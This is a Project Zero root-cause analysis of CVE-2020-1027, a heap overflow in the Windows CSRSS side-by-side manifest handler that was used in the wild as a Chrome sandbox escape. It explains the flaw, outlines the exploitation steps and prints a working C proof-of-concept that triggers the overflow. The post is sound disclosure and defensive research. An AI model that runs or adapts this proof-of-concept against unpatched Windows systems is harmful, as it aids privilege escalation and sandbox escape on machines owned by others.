Posted by Sergei Glazunov, Project Zero (2021-01-12)
Disclosure or Patch Date: April 14 2020
Product: Microsoft Windows
Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1027
Affected Versions: Windows 7 through 10, prior to the April 2020 patch
First Patched Version: Windows with April 2020 patch (e.g. for Windows 10 1909/1903, KB4549951)
Issue/Bug Report: N/A
Patch CL: N/A
Bug-Introducing CL: N/A
Proof-of-Concept: See below
Exploit Sample: N/A
Access to the exploit sample? Yes
Reporter(s): Google: Project Zero and Threat Analysis Group
Bug Class: Heap buffer overflow
Vulnerability Details:
The vulnerability has been discovered in the side-by-side assembly component of CSRSS. The affected function sxssrv!BaseSrvSxsCreateActivationContext parses an XML manifest into a binary data structure called an activation context. By default, the function is accessible from any Windows process through ALPC.
The relevant IPC message object contains several UNICODE_STRING members. UNICODE_STRING is a well-known mutable string structure with a separate field to keep the capacity of the backing store:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; |
For each string parameter, the function verifies that the result of the expression Buffer + Length doesn’t point past the end of the IPC buffer. Unfortunately, there is no similar check for the MaximumLength field. When the execution reaches the function sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity, it relies on the unchecked MaximumLength value to determine whether a memcpy call should be allowed because one of the strings (offset 0x120 from the beginning of the IPC message on Windows 10.0.18363.959) is reused as an output parameter:
IdentityNameBuffer = 0; IdentityNameLength = 0;
SetLastError(0); if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name, &IdentityNameBuffer, &IdentityNameLength)) { CallSiteInfo = off_16506FA20; goto error; }
if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) { memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2); Context->ApplicationNameLength = IdentityNameLength; } else { *Context->ApplicationNameBuffer = 0; Context->ApplicationNameLength = 0; } |
As a result, the attacker gains the ability to trigger buffer overflow in memcpy with fully controlled contents and size of both the source and destination buffers.
Is the exploit method known? Yes
Exploit method:
- The attacker exploits the issue to overwrite the contents of several _MY_XML_NODE_INFO objects and implement the write-what-where primitive.
- The write-what-where is used to overwrite the module list head in PEB_LDR_DATA.
- The fake module list initiates a code-reuse attack. Due to the presence of Control Flow Guard, the attacker can only call existing functions with one controlled argument. Nevertheless, it’s sufficient to bypass CFG and transition to a classic ROP chain.
How do you think you would have found this bug? The issue could have been found during a manual audit of IPC handlers in CSRSS.
(Historical/present/future) context of bug: This vulnerability was used in an exploit chain together with a 0-day vulnerability in Chrome (CVE-2020-6418). For older OS versions, even though they were also affected, the attacker would pair CVE-2020-6418 with a different privilege escalation exploit (CVE-2020-1020 and CVE-2020-0938).
Areas/approach for variant analysis: A manual review of all CSRSS routines that make use of the UNICODE_STRING structure.
Found variants: None
Structural improvements: Given that the issue was used as a sandbox escape in a browser exploit chain, it’s recommended to reduce the attack surface by blocking the communication between CSRSS and sandboxed processes completely.
Potential detection methods for similar 0-days: This is a classic buffer overflow vulnerability; therefore, a memory sanitizer could have easily detected an attempt to exploit it.
Proof-of-concept:
#include <stdint.h> #include <stdio.h> #include <windows.h> #include <string> const char* MANIFEST_CONTENTS = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>" "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>" "<assemblyIdentity name='@' version='1.0.0.0' type='win32' " "processorArchitecture='amd64'/>" "</assembly>"; const WCHAR* NULL_BYTE_STR = L"\x00\x00"; const WCHAR* MANIFEST_NAME = L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_" L"d761caeca23d64a2.manifest"; const WCHAR* PATH = L"\\\\.\\c:Windows\\"; const WCHAR* MODULE = L"System.Data.SqlXml.Resources"; typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount, ULONG BufferSize); f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer; typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage, PVOID CaptureBuffer, ULONG ApiNumber, ULONG DataLength); f_CsrClientCallServer CsrClientCallServer; typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTR OutputString); f_CsrCaptureMessageString CsrCaptureMessageString; NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString, PCWSTR String, ULONG Length = 0) { if (Length == 0) { Length = lstrlenW(String); } return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2, Length * 2 + 2, OutputString); } int main() { HMODULE Ntdll = LoadLibrary(L"Ntdll.dll"); CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress( Ntdll, "CsrAllocateCaptureBuffer"); CsrClientCallServer = (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer"); CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress( Ntdll, "CsrCaptureMessageString"); char Message[0x220]; memset(Message, 0, 0x220); PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300); std::string Manifest = MANIFEST_CONTENTS; Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A'); // There's no public definition of the relevant CSR_API_MSG structure. // The offsets and values are taken directly from the exploit. *(uint32_t*)(Message + 0x40) = 0xc1; *(uint16_t*)(Message + 0x44) = 9; *(uint16_t*)(Message + 0x59) = 0x201; // CSRSS loads the manifest contents from the client process memory; // therefore, it doesn't have to be stored in the capture buffer. *(const char**)(Message + 0x80) = Manifest.c_str(); *(uint64_t*)(Message + 0x88) = Manifest.size(); *(uint64_t*)(Message + 0xf0) = 1; CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2); CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME); CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH); CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE); // Triggers the issue by setting ApplicationName.MaxLength to a large value. *(uint16_t*)(Message + 0x122) = 0x8000; CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0); } |
Other references:
January 2021: “In The Wild: Windows Exploits” blogpost
No comments:
Post a Comment